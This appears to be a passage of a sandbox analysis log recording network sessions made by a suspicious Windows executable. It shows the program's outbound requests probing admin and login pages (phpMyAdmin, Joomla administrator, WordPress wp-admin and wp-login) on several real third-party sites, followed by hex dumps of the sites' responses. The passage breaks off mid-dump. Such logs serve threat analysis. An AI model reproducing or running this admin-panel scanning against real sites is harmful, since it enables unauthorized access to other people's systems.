2023-11-26 05:59:34 UTC	522	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 33 34 20 47 4d 54 0d 0a 53 65 72 76 65 72 3a 20 41 70 61 63 68 65 0d 0a 50 72 61 67 6d 61 3a 20 6e 6f 2d 63 61 63 68 65 0d 0a 45 78 70 69 72 65 73 3a 20 57 65 64 2c 20 31 31 20 4a 61 6e 20 31 39 38 34 20 30 35 3a 30 30 3a 30 30 20 47 4d 54 0d 0a 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 63 61 63 68 65 2c 20 6d 75 73 74 2d 72 65 76 61 6c 69 64 61 74 65 2c 20 6d 61 78 2d 61 67 65 3d 30 0d 0a 58 2d 46 72 61 6d 65 2d 4f 70 74 69 6f 6e 73 3a 20 53 41 4d 45 4f 52 49 47 49 4e 0d 0a 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 77 72 2d 63 66 2d 6c 69 73 74 5f 65 6d 61 69 6c 5f 73 65 6e 64 5f 74 6f 3d 64 65 6c 65 74 65 64 3b Data Ascii: HTTP/1.1 200 OKDate: Sun, 26 Nov 2023 05:59:34 GMTServer: ApachePragma: no-cacheExpires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0X-Frame-Options: SAMEORIGINSet-Cookie: wr-cf-list_email_send_to=deleted;
2023-11-26 05:59:34 UTC	3247	IN	Data Raw: 63 61 38 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 09 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 0a 09 09 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 20 63 6c 61 73 73 3d 22 69 65 38 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 0a 09 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 09 3c 21 2d 2d 5b 69 66 20 21 28 49 45 20 38 29 20 5d 3e 3c 21 2d 2d 3e 0a 09 09 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 0a 09 3c 21 2d 2d 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 09 3c 68 65 61 64 3e 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 Data Ascii: ca8<!DOCTYPE html>...[if IE 8]><html xmlns="http://www.w3.org/1999/xhtml" class="ie8" lang="en-US"><![endif]-->...[if !(IE 8) ]>...><html xmlns="http://www.w3.org/1999/xhtml" lang="en-US">...<![endif]--><head><meta http-equiv="Cont
2023-11-26 05:59:34 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
140	192.168.2.4	58189	144.202.62.131	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:33 UTC	181	OUT	GET /phpmyadmin/ HTTP/1.1 Host: gruporegiosafety.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 05:59:35 UTC	1483	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 33 34 20 47 4d 54 0d 0a 53 65 72 76 65 72 3a 20 41 70 61 63 68 65 0d 0a 45 78 70 69 72 65 73 3a 20 57 65 64 2c 20 31 31 20 4a 61 6e 20 31 39 38 34 20 30 35 3a 30 30 3a 30 30 20 47 4d 54 0d 0a 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 63 61 63 68 65 2c 20 6d 75 73 74 2d 72 65 76 61 6c 69 64 61 74 65 2c 20 6d 61 78 2d 61 67 65 3d 30 0d 0a 41 63 63 65 73 73 2d 43 6f 6e 74 72 6f 6c 2d 41 6c 6c 6f 77 2d 4d 65 74 68 6f 64 73 3a 20 47 45 54 2c 50 4f 53 54 0d 0a 41 63 63 65 73 73 2d 43 6f 6e 74 72 6f 6c 2d 41 6c 6c 6f 77 2d 48 65 61 64 65 72 73 3a 20 43 6f 6e 74 65 6e 74 2d 54 79 70 65 2c 20 41 Data Ascii: HTTP/1.1 404 Not FoundDate: Sun, 26 Nov 2023 05:59:34 GMTServer: ApacheExpires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0Access-Control-Allow-Methods: GET,POSTAccess-Control-Allow-Headers: Content-Type, A
2023-11-26 05:59:35 UTC	6709	IN	Data Raw: 33 39 31 61 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 73 2d 4d 58 22 3e 0a 3c 68 65 61 64 3e 0a 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 69 6e 67 62 61 63 6b 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 67 72 75 70 6f 72 65 67 69 6f 73 61 66 65 74 79 2e 63 6f 6d 2f 78 6d 6c 72 70 63 2e 70 68 70 22 20 2f 3e 0a 0a 09 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 0a 09 09 64 6f 63 75 6d 65 6e 74 2e 64 6f 63 75 6d 65 6e 74 45 Data Ascii: 391a<!DOCTYPE html><html lang="es-MX"><head><meta charset="UTF-8" /><meta http-equiv="X-UA-Compatible" content="IE=edge"><link rel="pingback" href="https://gruporegiosafety.com/xmlrpc.php" /><script type="text/javascript">document.documentE
2023-11-26 05:59:35 UTC	7915	IN	Data Raw: 67 6c 6f 62 61 6c 2d 73 74 79 6c 65 73 2d 69 6e 6c 69 6e 65 2d 63 73 73 27 20 74 79 70 65 3d 27 74 65 78 74 2f 63 73 73 27 3e 0a 62 6f 64 79 7b 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 63 6f 6c 6f 72 2d 2d 62 6c 61 63 6b 3a 20 23 30 30 30 30 30 30 3b 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 63 6f 6c 6f 72 2d 2d 63 79 61 6e 2d 62 6c 75 69 73 68 2d 67 72 61 79 3a 20 23 61 62 62 38 63 33 3b 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 63 6f 6c 6f 72 2d 2d 77 68 69 74 65 3a 20 23 66 66 66 66 66 66 3b 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 63 6f 6c 6f 72 2d 2d 70 61 6c 65 2d 70 69 6e 6b 3a 20 23 66 37 38 64 61 37 3b 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 63 6f 6c 6f 72 2d 2d 76 69 76 69 64 2d 72 65 64 3a 20 23 63 66 32 65 32 65 3b 2d 2d 77 70 2d 2d 70 72 Data Ascii: global-styles-inline-css' type='text/css'>body{--wp--preset--color--black: #000000;--wp--preset--color--cyan-bluish-gray: #abb8c3;--wp--preset--color--white: #ffffff;--wp--preset--color--pale-pink: #f78da7;--wp--preset--color--vivid-red: #cf2e2e;--wp--pr
2023-11-26 05:59:35 UTC	2	IN	Data Raw: 0d 0a Data Ascii:
2023-11-26 05:59:35 UTC	8192	IN	Data Raw: 31 66 34 30 0d 0a 2d 63 79 61 6e 2d 62 6c 75 65 29 20 21 69 6d 70 6f 72 74 61 6e 74 3b 7d 2e 68 61 73 2d 76 69 76 69 64 2d 63 79 61 6e 2d 62 6c 75 65 2d 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 7b 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 20 76 61 72 28 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 63 6f 6c 6f 72 2d 2d 76 69 76 69 64 2d 63 79 61 6e 2d 62 6c 75 65 29 20 21 69 6d 70 6f 72 74 61 6e 74 3b 7d 2e 68 61 73 2d 76 69 76 69 64 2d 70 75 72 70 6c 65 2d 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 7b 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 20 76 61 72 28 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 63 6f 6c 6f 72 2d 2d 76 69 76 69 64 2d 70 75 72 70 6c 65 29 20 21 69 6d 70 6f 72 74 61 6e 74 3b 7d 2e 68 61 73 2d 76 69 76 69 64 2d 63 79 61 6e 2d 62 6c 75 65 2d 74 6f 2d 76 69 76 Data Ascii: 1f40-cyan-blue) !important;}.has-vivid-cyan-blue-border-color{border-color: var(--wp--preset--color--vivid-cyan-blue) !important;}.has-vivid-purple-border-color{border-color: var(--wp--preset--color--vivid-purple) !important;}.has-vivid-cyan-blue-to-viv
2023-11-26 05:59:35 UTC	7822	IN	Data Raw: 65 66 74 20 2e 65 74 5f 70 62 5f 62 75 74 74 6f 6e 3a 61 66 74 65 72 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 30 3b 6c 65 66 74 3a 31 65 6d 7d 2e 65 74 5f 62 75 74 74 6f 6e 5f 69 63 6f 6e 5f 76 69 73 69 62 6c 65 2e 65 74 5f 62 75 74 74 6f 6e 5f 6c 65 66 74 20 2e 65 74 5f 70 62 5f 62 75 74 74 6f 6e 2c 2e 65 74 5f 62 75 74 74 6f 6e 5f 6c 65 66 74 20 2e 65 74 5f 70 62 5f 62 75 74 74 6f 6e 3a 68 6f 76 65 72 2c 2e 65 74 5f 62 75 74 74 6f 6e 5f 6c 65 66 74 20 2e 65 74 5f 70 62 5f 6d 6f 64 75 6c 65 20 2e 65 74 5f 70 62 5f 62 75 74 74 6f 6e 3a 68 6f 76 65 72 7b 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 32 65 6d 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 2e 37 65 6d 7d 2e 65 74 5f 62 75 74 74 6f 6e 5f 69 63 6f 6e 5f 76 69 73 69 62 6c 65 2e 65 74 5f 62 75 74 74 6f 6e Data Ascii: eft .et_pb_button:after{margin-left:0;left:1em}.et_button_icon_visible.et_button_left .et_pb_button,.et_button_left .et_pb_button:hover,.et_button_left .et_pb_module .et_pb_button:hover{padding-left:2em;padding-right:.7em}.et_button_icon_visible.et_button
2023-11-26 05:59:35 UTC	2	IN	Data Raw: 0d 0a Data Ascii:
2023-11-26 05:59:35 UTC	8192	IN	Data Raw: 31 66 34 30 0d 0a 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 73 69 7a 69 6e 67 3a 62 6f 72 64 65 72 2d 62 6f 78 3b 62 6f 78 2d 73 69 7a 69 6e 67 3a 62 6f 72 64 65 72 2d 62 6f 78 3b 64 69 72 65 63 74 69 6f 6e 3a 6c 74 72 7d 23 65 74 2d 61 6a 61 78 2d 73 61 76 69 6e 67 7b 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 3b 2d 77 65 62 6b 69 74 2d 74 72 61 6e 73 69 74 69 6f 6e 3a 62 61 63 6b 67 72 6f 75 6e 64 20 2e 33 73 2c 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 73 68 61 64 6f 77 20 2e 33 73 3b 74 72 61 6e 73 69 74 69 6f 6e 3a 62 61 63 6b 67 72 6f 75 6e 64 20 2e 33 73 2c 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 73 68 61 64 6f 77 20 2e 33 73 3b 74 72 61 6e 73 69 74 69 6f 6e 3a 62 61 63 6b 67 72 6f 75 6e 64 20 2e 33 73 2c 62 6f 78 2d 73 68 61 64 6f 77 20 2e 33 73 3b 74 72 61 6e 73 69 74 Data Ascii: 1f40-webkit-box-sizing:border-box;box-sizing:border-box;direction:ltr}#et-ajax-saving{display:none;-webkit-transition:background .3s,-webkit-box-shadow .3s;transition:background .3s,-webkit-box-shadow .3s;transition:background .3s,box-shadow .3s;transit
2023-11-26 05:59:35 UTC	7822	IN	Data Raw: 79 3a 30 7d 68 65 61 64 65 72 2e 65 74 2d 6c 2e 65 74 2d 6c 2d 2d 68 65 61 64 65 72 3a 61 66 74 65 72 7b 63 6c 65 61 72 3a 62 6f 74 68 3b 64 69 73 70 6c 61 79 3a 62 6c 6f 63 6b 3b 63 6f 6e 74 65 6e 74 3a 22 22 7d 2e 65 74 5f 70 62 5f 6d 6f 64 75 6c 65 7b 2d 77 65 62 6b 69 74 2d 61 6e 69 6d 61 74 69 6f 6e 2d 74 69 6d 69 6e 67 2d 66 75 6e 63 74 69 6f 6e 3a 6c 69 6e 65 61 72 3b 61 6e 69 6d 61 74 69 6f 6e 2d 74 69 6d 69 6e 67 2d 66 75 6e 63 74 69 6f 6e 3a 6c 69 6e 65 61 72 3b 2d 77 65 62 6b 69 74 2d 61 6e 69 6d 61 74 69 6f 6e 2d 64 75 72 61 74 69 6f 6e 3a 2e 32 73 3b 61 6e 69 6d 61 74 69 6f 6e 2d 64 75 72 61 74 69 6f 6e 3a 2e 32 73 7d 40 2d 77 65 62 6b 69 74 2d 6b 65 79 66 72 61 6d 65 73 20 66 61 64 65 42 6f 74 74 6f 6d 7b 30 25 7b 6f 70 61 63 69 74 79 3a 30 Data Ascii: y:0}header.et-l.et-l--header:after{clear:both;display:block;content:""}.et_pb_module{-webkit-animation-timing-function:linear;animation-timing-function:linear;-webkit-animation-duration:.2s;animation-duration:.2s}@-webkit-keyframes fadeBottom{0%{opacity:0
2023-11-26 05:59:35 UTC	2	IN	Data Raw: 0d 0a Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
141	192.168.2.4	58106	185.54.192.125	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:33 UTC	279	OUT	GET /administrator/index.php HTTP/1.1 Host: talentius.com Accept: / Accept-Encoding: deflate, gzip Cookie: PHPSESSID=k11oabf2270bqa8id9iv53haoo User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0 Referer: https://talentius.com/administrator/
2023-11-26 05:59:34 UTC	392	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 33 34 20 47 4d 54 0d 0a 53 65 72 76 65 72 3a 20 41 70 61 63 68 65 2f 32 2e 34 2e 35 32 20 28 55 62 75 6e 74 75 29 0d 0a 50 72 61 67 6d 61 3a 20 6e 6f 2d 63 61 63 68 65 0d 0a 45 78 70 69 72 65 73 3a 20 57 65 64 2c 20 31 31 20 4a 61 6e 20 31 39 38 34 20 30 35 3a 30 30 3a 30 30 20 47 4d 54 0d 0a 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 63 61 63 68 65 2c 20 6d 75 73 74 2d 72 65 76 61 6c 69 64 61 74 65 2c 20 6d 61 78 2d 61 67 65 3d 30 0d 0a 58 2d 52 65 64 69 72 65 63 74 2d 42 79 3a 20 57 6f 72 64 50 72 65 73 73 0d 0a 55 70 67 72 61 64 65 3a 20 68 32 2c 68 32 63 0d 0a Data Ascii: HTTP/1.1 301 Moved PermanentlyDate: Sun, 26 Nov 2023 05:59:34 GMTServer: Apache/2.4.52 (Ubuntu)Pragma: no-cacheExpires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0X-Redirect-By: WordPressUpgrade: h2,h2c

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
142	192.168.2.4	58092	185.135.132.105	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:34 UTC	178	OUT	GET /phpmyadmin/ HTTP/1.1 Host: www.grantstech.io Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 05:59:34 UTC	307	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 33 34 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 0d 0a 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6d 61 78 2d 61 67 65 3d 30 0d 0a 45 78 70 69 72 65 73 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 33 34 20 47 4d 54 0d 0a 56 61 72 79 3a 20 41 63 63 65 70 74 2d 45 6e 63 6f 64 69 6e 67 0d 0a 58 2d 43 61 63 68 65 2d 53 74 61 74 75 73 3a 20 4d 49 53 53 0d 0a 58 2d 43 Data Ascii: HTTP/1.1 200 OKDate: Sun, 26 Nov 2023 05:59:34 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=0Expires: Sun, 26 Nov 2023 05:59:34 GMTVary: Accept-EncodingX-Cache-Status: MISSX-C
2023-11-26 05:59:34 UTC	634	IN	Data Raw: 32 36 65 0d 0a 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 2f 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 69 63 6f 6e 22 20 68 72 65 66 3d 22 2f 66 61 76 69 63 6f 6e 2e 69 63 6f 22 2f 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 2f 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 74 68 65 6d 65 2d 63 6f 6c 6f 72 22 20 63 6f 6e 74 65 6e 74 3d 22 23 30 30 30 30 30 30 22 2f 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 64 65 73 63 72 69 Data Ascii: 26e<!doctype html><html lang="en"><head><meta charset="utf-8"/><link rel="icon" href="/favicon.ico"/><meta name="viewport" content="width=device-width,initial-scale=1"/><meta name="theme-color" content="#000000"/><meta name="description" content="descri

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
143	192.168.2.4	58376	66.235.200.147	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:34 UTC	309	OUT	GET /wp-admin/ HTTP/1.1 Host: tradeavenida.com Accept: / Accept-Encoding: deflate, gzip Cookie: _cfuvid=CCSTuNw27vjAGhe0LambVrEDd4CnmWBK1UKexrI2tUk-1700978372739-0-604800000 User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0 Referer: http://tradeavenida.com/wp-login.php
2023-11-26 05:59:34 UTC	553	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 33 30 32 20 46 6f 75 6e 64 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 33 34 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 0d 0a 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 45 78 70 69 72 65 73 3a 20 57 65 64 2c 20 31 31 20 4a 61 6e 20 31 39 38 34 20 30 35 3a 30 30 3a 30 30 20 47 4d 54 0d 0a 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 63 61 63 68 65 2c 20 6d 75 73 74 2d 72 65 76 61 6c 69 64 61 74 65 2c 20 6d 61 78 2d 61 67 65 3d 30 0d 0a 58 2d 52 65 64 69 72 65 63 74 2d 42 79 3a 20 57 6f 72 Data Ascii: HTTP/1.1 302 FoundDate: Sun, 26 Nov 2023 05:59:34 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeExpires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0X-Redirect-By: Wor
2023-11-26 05:59:34 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
144	192.168.2.4	58375	104.26.12.245	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:34 UTC	177	OUT	GET /wp-login.php HTTP/1.1 Host: hightideinc.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 05:59:34 UTC	776	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 33 34 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 0d 0a 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 76 61 72 79 3a 20 41 63 63 65 70 74 2d 45 6e 63 6f 64 69 6e 67 0d 0a 65 78 70 69 72 65 73 3a 20 57 65 64 2c 20 31 31 20 4a 61 6e 20 31 39 38 34 20 30 35 3a 30 30 3a 30 30 20 47 4d 54 0d 0a 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 63 61 63 68 65 2c 20 6d 75 73 74 2d 72 65 76 61 6c 69 64 61 74 65 2c 20 6d 61 78 2d 61 67 65 3d 30 Data Ascii: HTTP/1.1 200 OKDate: Sun, 26 Nov 2023 05:59:34 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closevary: Accept-Encodingexpires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0
2023-11-26 05:59:34 UTC	593	IN	Data Raw: 31 38 65 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 4c 6f 67 20 49 6e 20 26 6c 73 61 71 75 6f 3b 20 48 69 67 68 20 54 69 64 65 20 49 6e 63 2e 20 26 23 38 32 31 32 3b 20 57 6f 72 64 50 72 65 73 73 3c 2f 74 69 74 6c 65 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6d 61 78 2d 69 6d 61 67 65 2d 70 72 65 76 69 65 77 3a 6c 61 72 67 65 2c 20 6e 6f 69 6e 64 65 78 2c 20 6e 6f 61 72 63 68 69 76 65 Data Ascii: 18e9<!DOCTYPE html><html lang="en-US"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /><title>Log In &lsaquo; High Tide Inc. — WordPress</title><meta name="robots" content="max-image-preview:large, noindex, noarchive
2023-11-26 05:59:34 UTC	1369	IN	Data Raw: 66 3d 22 68 74 74 70 73 3a 2f 2f 68 69 67 68 74 69 64 65 69 6e 63 2e 63 6f 6d 2f 77 70 2d 61 64 6d 69 6e 2f 63 73 73 2f 66 6f 72 6d 73 2e 6d 69 6e 2e 63 73 73 3f 76 65 72 3d 36 2e 34 2e 31 22 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 6d 65 64 69 61 3d 22 61 6c 6c 22 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 69 64 3d 22 6c 31 30 6e 2d 63 73 73 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 68 69 67 68 74 69 64 65 69 6e 63 2e 63 6f 6d 2f 77 70 2d 61 64 6d 69 6e 2f 63 73 73 2f 6c 31 30 6e 2e 6d 69 6e 2e 63 73 73 3f 76 65 72 3d 36 2e 34 2e 31 22 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 6d 65 64 69 61 3d 22 61 6c 6c 22 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 69 Data Ascii: f="https://hightideinc.com/wp-admin/css/forms.min.css?ver=6.4.1" type="text/css" media="all" /><link rel="stylesheet" id="l10n-css" href="https://hightideinc.com/wp-admin/css/l10n.min.css?ver=6.4.1" type="text/css" media="all" /><link rel="stylesheet" i
2023-11-26 05:59:34 UTC	1369	IN	Data Raw: 6c 20 41 64 64 72 65 73 73 3c 2f 6c 61 62 65 6c 3e 0a 3c 69 6e 70 75 74 20 74 79 70 65 3d 22 74 65 78 74 22 20 6e 61 6d 65 3d 22 6c 6f 67 22 20 69 64 3d 22 75 73 65 72 5f 6c 6f 67 69 6e 22 20 63 6c 61 73 73 3d 22 69 6e 70 75 74 22 20 76 61 6c 75 65 20 73 69 7a 65 3d 22 32 30 22 20 61 75 74 6f 63 61 70 69 74 61 6c 69 7a 65 3d 22 6f 66 66 22 20 61 75 74 6f 63 6f 6d 70 6c 65 74 65 3d 22 75 73 65 72 6e 61 6d 65 22 20 72 65 71 75 69 72 65 64 3d 22 72 65 71 75 69 72 65 64 22 20 2f 3e 0a 3c 2f 70 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 75 73 65 72 2d 70 61 73 73 2d 77 72 61 70 22 3e 0a 3c 6c 61 62 65 6c 20 66 6f 72 3d 22 75 73 65 72 5f 70 61 73 73 22 3e 50 61 73 73 77 6f 72 64 3c 2f 6c 61 62 65 6c 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 77 70 2d 70 77 64 22 Data Ascii: l Address</label><input type="text" name="log" id="user_login" class="input" value size="20" autocapitalize="off" autocomplete="username" required="required" /></p><div class="user-pass-wrap"><label for="user_pass">Password</label><div class="wp-pwd"
2023-11-26 05:59:34 UTC	1369	IN	Data Raw: 75 73 28 29 3b 20 64 2e 73 65 6c 65 63 74 28 29 3b 7d 20 63 61 74 63 68 28 20 65 72 20 29 20 7b 7d 7d 2c 20 32 30 30 29 3b 7d 0a 77 70 5f 61 74 74 65 6d 70 74 5f 66 6f 63 75 73 28 29 3b 0a 69 66 20 28 20 74 79 70 65 6f 66 20 77 70 4f 6e 6c 6f 61 64 20 3d 3d 3d 20 27 66 75 6e 63 74 69 6f 6e 27 20 29 20 7b 20 77 70 4f 6e 6c 6f 61 64 28 29 20 7d 0a 2f 2a 20 5d 5d 3e 20 2a 2f 0a 3c 2f 73 63 72 69 70 74 3e 0a 3c 70 20 69 64 3d 22 62 61 63 6b 74 6f 62 6c 6f 67 22 3e 0a 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 68 69 67 68 74 69 64 65 69 6e 63 2e 63 6f 6d 2f 22 3e 26 6c 61 72 72 3b 20 47 6f 20 74 6f 20 48 69 67 68 20 54 69 64 65 20 49 6e 63 2e 3c 2f 61 